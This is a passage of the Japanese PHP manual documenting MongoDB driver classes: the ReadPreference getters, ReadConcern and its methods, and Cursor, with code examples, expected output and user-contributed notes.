var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED));

/* Prefer a node in the New York data center with lowest latency. */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_NEAREST, [['dc' => 'ny']]));

/* Require a secondary node whose replication lag is within two minutes of the primary */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, ['maxStalenessSeconds' => 120]));

/* Explicitly enable server hedged reads */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, ['hedge' => ['enabled' => true]]));

?>

上の例の出力は以下となります。

object(MongoDB\Driver\ReadPreference)#1 (1) {
  ["mode"]=>
  string(18) "secondaryPreferred"
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(7) "nearest"
  ["tags"]=>
  array(1) {
    [0]=>
    object(stdClass)#2 (1) {
      ["dc"]=>
      string(2) "ny"
    }
  }
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["maxStalenessSeconds"]=>
  int(120)
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["hedge"]=>
  object(stdClass)#1 (1) {
    ["enabled"]=>
    bool(true)
  }
}

参考

  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "hedge" option

  • ≪ MongoDB\Driver\ReadPreference::__construct
  • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "hedge" option

MongoDB\Driver\ReadPreference::getHedge

(mongodb >=1.8.0)

MongoDB\Driver\ReadPreference::getHedge — Returns the ReadPreference's "hedge" option

説明

final public MongoDB\Driver\ReadPreference::getHedge ( ) : object|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the ReadPreference's "hedge" option.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "maxStalenessSeconds" option

  • ≪ MongoDB\Driver\ReadPreference::getHedge
  • MongoDB\Driver\ReadPreference::getMode ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "maxStalenessSeconds" option

MongoDB\Driver\ReadPreference::getMaxStalenessSeconds

(mongodb >=1.2.0)

MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Returns the ReadPreference's "maxStalenessSeconds" option

説明

final public MongoDB\Driver\ReadPreference::getMaxStalenessSeconds ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the ReadPreference's "maxStalenessSeconds" option. If no max staleness has been specified, MongoDB\Driver\ReadPreference::NO_MAX_STALENESS will be returned.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadPreference::getMaxStalenessSeconds() example

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
    'maxStalenessSeconds' => MongoDB\Driver\ReadPreference::NO_MAX_STALENESS,
]);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
    'maxStalenessSeconds' => MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS,
]);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
    'maxStalenessSeconds' => 1000,
]);
var_dump($rp->getMaxStalenessSeconds());

?>

上の例の出力は以下となります。

int(-1)
int(-1)
int(90)
int(1000)

参考

  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "mode" option

  • ≪ MongoDB\Driver\ReadPreference::getMaxStalenessSeconds
  • MongoDB\Driver\ReadPreference::getModeString ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "mode" option

MongoDB\Driver\ReadPreference::getMode

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::getMode — Returns the ReadPreference's "mode" option

説明

final public MongoDB\Driver\ReadPreference::getMode ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the ReadPreference's "mode" option.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadPreference::getMode() example

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_NEAREST);
var_dump($rp->getMode());

?>

上の例の出力は以下となります。

int(1)
int(5)
int(2)
int(6)
int(10)

参考

  • MongoDB\Driver\ReadPreference::getModeString() - Returns the ReadPreference's "mode" option as a string
  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "mode" option as a string

  • ≪ MongoDB\Driver\ReadPreference::getMode
  • MongoDB\Driver\ReadPreference::getTagSets ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "mode" option as a string

MongoDB\Driver\ReadPreference::getModeString

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::getModeString — Returns the ReadPreference's "mode" option as a string

説明

final public MongoDB\Driver\ReadPreference::getModeString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the ReadPreference's "mode" option as a string.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadPreference::getModeString() example

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::PRIMARY);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::SECONDARY);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::NEAREST);
var_dump($rp->getModeString());

?>

上の例の出力は以下となります。

string(7) "primary"
string(16) "primaryPreferred"
string(9) "secondary"
string(18) "secondaryPreferred"
string(7) "nearest"

参考

  • MongoDB\Driver\ReadPreference::getMode() - Returns the ReadPreference's "mode" option
  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadPreference's "tagSets" option

  • ≪ MongoDB\Driver\ReadPreference::getModeString
  • MongoDB\Driver\ReadPreference::serialize ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Returns the ReadPreference's "tagSets" option

MongoDB\Driver\ReadPreference::getTagSets

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::getTagSets — Returns the ReadPreference's "tagSets" option

説明

final public MongoDB\Driver\ReadPreference::getTagSets ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

Returns the ReadPreference's "tagSets" option.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadPreference::getTagSets() example

<?php

$mode = MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED;

/* Null and an empty array both denote no tag set preference. */
$rp = new MongoDB\Driver\ReadPreference($mode, null);
var_dump($rp->getTagSets());

$rp = new MongoDB\Driver\ReadPreference($mode, []);
var_dump($rp->getTagSets());

/* Prefer a node in New York, but fall back to any available node. */
$rp = new MongoDB\Driver\ReadPreference($mode, [['dc' => 'ny']]);
var_dump($rp->getTagSets());

/* Prefer a node in the New York, followed by a node in San Francisco that is
   labeled for reporting usage, and finally fall back to any available node. */
$rp = new MongoDB\Driver\ReadPreference($mode, [
  ['dc' => 'ny'],
  ['dc' => 'sf', 'use' => 'reporting'],
  [],
]);
var_dump($rp->getTagSets());

?>

上の例の出力は以下となります。

array(0) {
}
array(0) {
}
array(2) {
  [0]=>
  array(1) {
    ["dc"]=>
    string(2) "ny"
  }
  [1]=>
  array(0) {
  }
}
array(3) {
  [0]=>
  array(1) {
    ["dc"]=>
    string(2) "ny"
  }
  [1]=>
  array(2) {
    ["dc"]=>
    string(2) "sf"
    ["use"]=>
    string(9) "reporting"
  }
  [2]=>
  array(0) {
  }
}

参考

  • » Read Preference reference

User Contributed Notes

There are no user contributed notes for this page.


Serialize a ReadPreference

  • ≪ MongoDB\Driver\ReadPreference::getTagSets
  • MongoDB\Driver\ReadPreference::unserialize ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Serialize a ReadPreference

MongoDB\Driver\ReadPreference::serialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::serialize — Serialize a ReadPreference

説明

final public MongoDB\Driver\ReadPreference::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\Driver\ReadPreference.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\ReadPreference::unserialize() - Unserialize a ReadPreference
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a ReadPreference

  • ≪ MongoDB\Driver\ReadPreference::serialize
  • MongoDB\Driver\ReadConcern ≫
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Unserialize a ReadPreference

MongoDB\Driver\ReadPreference::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::unserialize — Unserialize a ReadPreference

説明

final public MongoDB\Driver\ReadPreference::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\Driver\ReadPreference.

返り値

Returns the unserialized MongoDB\Driver\ReadPreference.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\Driver\ReadPreference::serialize() - Serialize a ReadPreference
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\ReadConcern class

(mongodb >=1.1.0)

はじめに

MongoDB\Driver\ReadConcern controls the level of isolation for read operations for replica sets and replica set shards. This option requires MongoDB 3.2 or later.

クラス概要

final MongoDB\Driver\ReadConcern implements MongoDB\BSON\Serializable , Serializable {
/* Constants */
const string AVAILABLE = "available" ;
const string LINEARIZABLE = "linearizable" ;
const string LOCAL = "local" ;
const string MAJORITY = "majority" ;
/* メソッド */
final public bsonSerialize ( ) : object
final public __construct ( string $level = ? )
final public getLevel ( ) : string|null
final public isDefault ( ) : bool
final public serialize ( ) : string
final public unserialize ( string $serialized ) : void
}

定義済み定数

MongoDB\Driver\ReadConcern::AVAILABLE

Default for reads against secondaries when afterClusterTimeand level are unspecified.

The query returns the instance's most recent data. Provides no guarantee that the data has been written to a majority of the replica set members (i.e. may be rolled back).

For unsharded collections (including collections in a standalone deployment or a replica set deployment), "local" and "available" read concerns behave identically.

For a sharded cluster, "available" read concern provides greater tolerance for partitions since it does not wait to ensure consistency guarantees. However, a query with "available" read concern may return orphan documents if the shard is undergoing chunk migrations since the "available" read concern, unlike "local" read concern, does not contact the shard's primary nor the config servers for updated metadata.

MongoDB\Driver\ReadConcern::LINEARIZABLE

The query returns data that reflects all successful writes issued with a write concern of "majority" and acknowledged prior to the start of the read operation. For replica sets that run with writeConcernMajorityJournalDefault set to true, linearizable read concern returns data that will never be rolled back.

With writeConcernMajorityJournalDefault set to false, MongoDB will not wait for w: "majority" writes to be durable before acknowledging the writes. As such, "majority" write operations could possibly roll back in the event of a loss of a replica set member.

You can specify linearizable read concern for read operations on the primary only.

Linearizable read concern guarantees only apply if read operations specify a query filter that uniquely identifies a single document.

ヒント

Always use maxTimeMS with linearizable read concern in case a majority of data bearing members are unavailable. maxTimeMS ensures that the operation does not block indefinitely and instead ensures that the operation returns an error if the read concern cannot be fulfilled.

Linearizable read concern requires MongoDB 3.4.

MongoDB\Driver\ReadConcern::LOCAL

Default for reads against primary if level is unspecified and for reads against secondaries if level is unspecified but afterClusterTime is specified.

The query returns the instance's most recent data. Provides no guarantee that the data has been written to a majority of the replica set members (i.e. may be rolled back).

MongoDB\Driver\ReadConcern::MAJORITY

The query returns the instance's most recent data acknowledged as having been written to a majority of members in the replica set.

To use read concern level of "majority", replica sets must use WiredTiger storage engine and election protocol version 1.

変更履歴

バージョン | 説明
PECL mongodb 1.7.0 | Implements Serializable.
PECL mongodb 1.4.0 | Added the MongoDB\Driver\ReadConcern::AVAILABLE constant.
PECL mongodb 1.2.0 | Added the MongoDB\Driver\ReadConcern::LINEARIZABLE constant. Implements MongoDB\BSON\Serializable.

参考

  • » Read Concern reference

目次

  • MongoDB\Driver\ReadConcern::bsonSerialize — Returns an object for BSON serialization
  • MongoDB\Driver\ReadConcern::__construct — Create a new ReadConcern
  • MongoDB\Driver\ReadConcern::getLevel — Returns the ReadConcern's "level" option
  • MongoDB\Driver\ReadConcern::isDefault — Checks if this is the default read concern
  • MongoDB\Driver\ReadConcern::serialize — Serialize a ReadConcern
  • MongoDB\Driver\ReadConcern::unserialize — Unserialize a ReadConcern

User Contributed Notes

There are no user contributed notes for this page.


Returns an object for BSON serialization

  • ≪ MongoDB\Driver\ReadConcern
  • MongoDB\Driver\ReadConcern::__construct ≫
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Returns an object for BSON serialization

MongoDB\Driver\ReadConcern::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\ReadConcern::bsonSerialize — Returns an object for BSON serialization

説明

final public MongoDB\Driver\ReadConcern::bsonSerialize ( ) : object

パラメータ

この関数にはパラメータはありません。

返り値

Returns an object for serializing the ReadConcern as BSON.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadConcern::bsonSerialize() with empty read concern

<?php

$rc = new MongoDB\Driver\ReadConcern;
var_dump($rc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rc));

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (0) {
}

{ }

例2 MongoDB\Driver\ReadConcern::bsonSerialize() with local read concern

<?php

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);
var_dump($rc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rc));

?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#2 (1) {
  ["level"]=>
  string(5) "local"
}

{ "level" : "local" }

参考

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • » Read Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Create a new ReadConcern

  • ≪ MongoDB\Driver\ReadConcern::bsonSerialize
  • MongoDB\Driver\ReadConcern::getLevel ≫
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Create a new ReadConcern

MongoDB\Driver\ReadConcern::__construct

(mongodb >=1.0.0)

MongoDB\Driver\ReadConcern::__construct — Create a new ReadConcern

説明

final public MongoDB\Driver\ReadConcern::__construct ( string $level = ? )

Constructs a new MongoDB\Driver\ReadConcern, which is an immutable value object.

パラメータ

level

The » read concern level. You may use, but are not limited to, one of the class constants.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadConcern::__construct() example

<?php

/* Unspecified read isolation level (uses the server's default behavior) */
$rc = new MongoDB\Driver\ReadConcern();

/* Request read isolation from a single replica set node */
$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);

/* Request read isolation from a majority of the replica set nodes */
$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);

?>

参考

  • » Read Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadConcern's "level" option

  • ≪ MongoDB\Driver\ReadConcern::__construct
  • MongoDB\Driver\ReadConcern::isDefault ≫
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Returns the ReadConcern's "level" option

MongoDB\Driver\ReadConcern::getLevel

(mongodb >=1.0.0)

MongoDB\Driver\ReadConcern::getLevel — Returns the ReadConcern's "level" option

説明

final public MongoDB\Driver\ReadConcern::getLevel ( ) : string|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the ReadConcern's "level" option.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadConcern::getLevel() example

<?php

$rc = new MongoDB\Driver\ReadConcern();
var_dump($rc->getLevel());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);
var_dump($rc->getLevel());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);
var_dump($rc->getLevel());

?>

上の例の出力は以下となります。

NULL
string(5) "local"
string(8) "majority"

参考

  • » Read Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Checks if this is the default read concern

  • ≪ MongoDB\Driver\ReadConcern::getLevel
  • MongoDB\Driver\ReadConcern::serialize ≫
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Checks if this is the default read concern

MongoDB\Driver\ReadConcern::isDefault

(mongodb >=1.3.0)

MongoDB\Driver\ReadConcern::isDefault — Checks if this is the default read concern

説明

final public MongoDB\Driver\ReadConcern::isDefault ( ) : bool

Returns whether this is the default read concern (i.e. no options are specified). This method is primarily intended to be used in conjunction with MongoDB\Driver\Manager::getReadConcern() to determine whether the Manager has been constructed without any read concern options.

The driver will not include a default read concern in its read operations (e.g. MongoDB\Driver\Manager::executeQuery()) in order order to allow the server to apply its own default. Libraries that access the Manager's read concern to include it in their own read commands should use this method to ensure that default read concerns are left unset.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if this is the default read concern and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\ReadConcern::isDefault() example

<?php

$rc = new MongoDB\Driver\ReadConcern(null);
var_dump($rc->isDefault());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);
var_dump($rc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/?readConcernLevel=majority');
$rc = $manager->getReadConcern();
var_dump($rc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/');
$rc = $manager->getReadConcern();
var_dump($rc->isDefault());

?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(false)
bool(true)

参考

  • MongoDB\Driver\Manager::getReadConcern() - Return the ReadConcern for the Manager
  • » Read Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Serialize a ReadConcern

  • ≪ MongoDB\Driver\ReadConcern::isDefault
  • MongoDB\Driver\ReadConcern::unserialize ≫
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Serialize a ReadConcern

MongoDB\Driver\ReadConcern::serialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadConcern::serialize — Serialize a ReadConcern

説明

final public MongoDB\Driver\ReadConcern::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\Driver\ReadConcern.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\ReadConcern::unserialize() - Unserialize a ReadConcern
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a ReadConcern

  • ≪ MongoDB\Driver\ReadConcern::serialize
  • MongoDB\Driver\Cursor ≫
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Unserialize a ReadConcern

MongoDB\Driver\ReadConcern::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadConcern::unserialize — Unserialize a ReadConcern

説明

final public MongoDB\Driver\ReadConcern::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\Driver\ReadConcern.

返り値

Returns the unserialized MongoDB\Driver\ReadConcern.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\Driver\ReadConcern::serialize() - Serialize a ReadConcern
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Cursor class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\Cursor class encapsulates the results of a MongoDB command or query and may be returned by MongoDB\Driver\Manager::executeCommand() or MongoDB\Driver\Manager::executeQuery(), respectively.

クラス概要

final MongoDB\Driver\Cursor implements MongoDB\Driver\CursorInterface , Iterator {
/* メソッド */
final private __construct ( )
public current ( ) : array|object
final public getId ( ) : MongoDB\Driver\CursorId
final public getServer ( ) : MongoDB\Driver\Server
final public isDead ( ) : bool
public key ( ) : int
public next ( ) : void
public rewind ( ) : void
final public setTypeMap ( array $typemap ) : void
final public toArray ( ) : array
public valid ( ) : bool
}

変更履歴

バージョン | 説明
PECL mongodb 1.9.0 | Implements Iterator.
PECL mongodb 1.6.0 | Implements MongoDB\Driver\CursorInterface, which extends Traversable.

例

例1 Reading a result set

MongoDB\Driver\Manager::executeCommand() and MongoDB\Driver\Manager::executeQuery() both return their result(s) as a MongoDB\Driver\Cursor object. This object can be used to iterate over the result set of the command or query.

Because MongoDB\Driver\Cursor implements the Traversable interface, you can simply iterate over the result set with foreach.

<?php

$manager = new MongoDB\Driver\Manager();

/* Insert some documents so that our query returns information */
$bulkWrite = new MongoDB\Driver\BulkWrite;
$bulkWrite->insert(['name' => 'Ceres', 'size' => 946, 'distance' => 2.766]);
$bulkWrite->insert(['name' => 'Vesta', 'size' => 525, 'distance' => 2.362]);
$manager->executeBulkWrite("test.asteroids", $bulkWrite);

/* Query for all the items in the collection */
$query = new MongoDB\Driver\Query( [] );

/* Query the "asteroids" collection of the "test" database */
$cursor = $manager->executeQuery("test.asteroids", $query);

/* $cursor now contains an object that wraps around the result set. Use
 * foreach() to iterate over all the result */
foreach($cursor as $document) {
    print_r($document);
}

?>

上の例の出力は、 たとえば以下のようになります。

stdClass Object
(
    [_id] => MongoDB\BSON\ObjectId Object
        (
            [oid] => 5a4cff2f122d3321565d8cc2
        )

    [name] => Ceres
    [size] => 946
    [distance] => 2.766
)
stdClass Object
(
    [_id] => MongoDB\BSON\ObjectId Object
        (
            [oid] => 5a4cff2f122d3321565d8cc3
        )

    [name] => Vesta
    [size] => 525
    [distance] => 2.362
}

例2 Reading a result set for a tailable cursor

» Tailable cursors are a special type of MongoDB cursor that allows the client to read some results and then wait until more documents become available. These cursors are primarily used with » Capped Collections and » Change Streams.

While normal cursors can be iterated once with foreach, that approach will not work with tailable cursors. When foreach is used with a tailable cursor, the loop will stop upon reaching the end of the initial result set. Attempting to continue iteration on the cursor with a second foreach would throw an exception, since PHP attempts to rewind the cursor. Similar to result objects in other database drivers, cursors in MongoDB only support forward iteration, which means they cannot be rewound.

In order to continuously read from a tailable cursor, the Cursor object must be wrapped with an IteratorIterator. This allows the application to directly control the cursor's iteration, avoid inadvertently rewinding the cursor, and decide when to wait for new results or stop iteration entirely.

In order to demonstrate a tailable cursor in action, two scripts will be used: a "producer" and a "consumer". The producer script will create a new capped collection using the » create command and proceed to insert a new document into that collection each second.

<?php

$manager = new MongoDB\Driver\Manager;

$manager->executeCommand('test', new MongoDB\Driver\Command([
    'create' => 'asteroids',
    'capped' => true,
    'size' => 1048576,
]));

while (true) {
    $bulkWrite = new MongoDB\Driver\BulkWrite;
    $bulkWrite->insert(['createdAt' => new MongoDB\BSON\UTCDateTime]);
    $manager->executeBulkWrite('test.asteroids', $bulkWrite);

    sleep(1);
}

?>

With the producer script still running, a second consumer script may be executed to read the inserted documents using a tailable cursor, indicated by the tailable and awaitData options to MongoDB\Driver\Query::__construct().

<?php

$manager = new MongoDB\Driver\Manager;

$query = new MongoDB\Driver\Query([], [
    'tailable' => true,
    'awaitData' => true,
]);

$cursor = $manager->executeQuery('test.asteroids', $query);

$iterator = new IteratorIterator($cursor);

$iterator->rewind();

while (true) {
    if ($iterator->valid()) {
        $document = $iterator->current();
        printf("Consumed document created at: %s\n", $document->createdAt);
    }

    $iterator->next();
}

?>

The consumer script will start by quickly printing all available documents in the capped collection (as if foreach had been used); however, it will not terminate upon reaching the end of the initial result set. Since the cursor is tailable, calling IteratorIterator::next() will block and wait for additional results. IteratorIterator::valid() is also used to check if there is actually data available to read at each step.

注意: This example uses the awaitData query option to instruct the server to block for a short period (e.g. one second) at the end of the result set before returning a response to the driver. This is used to prevent the driver from aggressively polling the server when there are no results available. The maxAwaitTimeMS option may be used in conjunction with tailable and awaitData to specify the amount of time that the server should block when it reaches the end of the result set.

エラー / 例外

When iterating over the cursor object, BSON data is converted into PHP variables. This iteration can cause the following Exceptions:

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if a class in the type map cannot be instantiated or does not implement MongoDB\BSON\Unserializable.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

目次

  • MongoDB\Driver\Cursor::__construct — Create a new Cursor (not used)
  • MongoDB\Driver\Cursor::current — Returns the current element
  • MongoDB\Driver\Cursor::getId — Returns the ID for this cursor
  • MongoDB\Driver\Cursor::getServer — Returns the server associated with this cursor
  • MongoDB\Driver\Cursor::isDead — Checks if the cursor is exhausted or may have additional results
  • MongoDB\Driver\Cursor::key — Returns the current result's index within the cursor
  • MongoDB\Driver\Cursor::next — Advances the cursor to the next result
  • MongoDB\Driver\Cursor::rewind — Rewind the cursor to the first result
  • MongoDB\Driver\Cursor::setTypeMap — Sets a type map to use for BSON unserialization
  • MongoDB\Driver\Cursor::toArray — Returns an array containing all results for this cursor
  • MongoDB\Driver\Cursor::valid — Checks if the current position in the cursor is valid

User Contributed Notes

peichi40233 at gmail dot com 02-Apr-2017 09:32
There used to be a count() method in the old mongo extension (http://docs.php.net/manual/en/mongocursor.count.php), however, this feature seems to be deleted in mongodb.

I've seen some people use executeCommand() to do that, but I found it much more earier to just use the toArray() method and count the returned array.

For example:
$manager = new MongoDB\Driver\Manager();
$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query)->toArray();
var_dump(count($cursor));
tdrpic 14-Jul-2016 08:03
If you find that it would be easier to use arrays (instead of objects) for the returned documents, add the following after executing your query:

$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);
mikemartin2016 at gmail dot com 17-Feb-2016 08:47
I noticed that  ->sort is missing from the cursor.  Seems like the old driver has more functionality.

[red.: The way how cursors are created is different between the drivers. In the old driver, the cursor would not be created until after the first rewind() call on the iterator.

In the new driver the cursor already exists. Because sort (and limit and skip) parameters need to be send to the server, they can not be called after the cursor already has been created.

You can use sort (and limit and skip) with the new driver as well, by specifying them as options to the Query as shown in this example: http://php.net/manual/en/mongodb-driver-query.construct.php#refsect1-mongodb-driver-query.construct-examples]
max-p at max-p dot me 12-Feb-2016 01:29
As one might notice, this class does not implement a hasNext() or next() method as opposed to the now deprecated Mongo driver.

If, for any reason, you need to pull data from the cursor procedurally or otherwise need to override the behavior of foreach while iterating on the cursor, the SPL \IteratorIterator class can be used. When doing so, it is important to rewind the iterator before using it, otherwise you won't get any data back.

<?php
$cursor = $collection->find();
$it = new \IteratorIterator($cursor);
$it->rewind(); // Very important

while($doc = $it->current()) {
    var_dump($doc);
    $it->next();
}
?>

I used this trick to build a backward compatibility wrapper emulating the old Mongo driver in order to upgrade an older codebase.


Create a new Cursor (not used)

  • ≪ MongoDB\Driver\Cursor
  • MongoDB\Driver\Cursor::current ≫
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Create a new Cursor (not used)

MongoDB\Driver\Cursor::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::__construct — Create a new Cursor (not used)

説明

final private MongoDB\Driver\Cursor::__construct ( )

MongoDB\Driver\Cursor objects are returned as the result of an executed command or query and cannot be constructed directly.

パラメータ

この関数にはパラメータはありません。

参考

  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Manager::executeQuery() - Execute a database query
